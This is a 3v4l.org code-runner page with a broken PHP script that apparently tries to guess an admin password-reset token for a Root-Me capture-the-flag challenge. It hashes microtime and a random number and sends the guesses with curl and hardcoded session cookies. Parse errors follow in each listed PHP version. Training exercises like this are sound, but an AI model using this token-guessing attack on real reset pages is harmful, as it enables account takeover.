3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php $ok = 1; //while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = 'curl'; // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Connection: keep-alive', 'Accept-Encoding: gzip,deflate,sdch', 'Cookie: PHPSESSID=9povrv2ujga3a90gde97mnh086; spip_session=3959_88b7a314b6d320abc758d2aa6adc5321', 'Accept-Language: fr-FR,fr;q=0.8,en-US;q=0.6,en;q=0.4', 'User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36' )); $chaine=curl_exec($ch); echo $chaine; /*if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; }*/ curl_close($ch); // fermeture de la session curl //} />
based on OZuII
Output for 4.4.2 - 4.4.9, 5.1.0 - 5.4.34
Parse error: syntax error, unexpected '/' in /in/65i5v on line 35
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.4.1, 5.0.0 - 5.0.5
Parse error: parse error, unexpected '/' in /in/65i5v on line 35
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error in /in/65i5v on line 35
Process exited with code 255.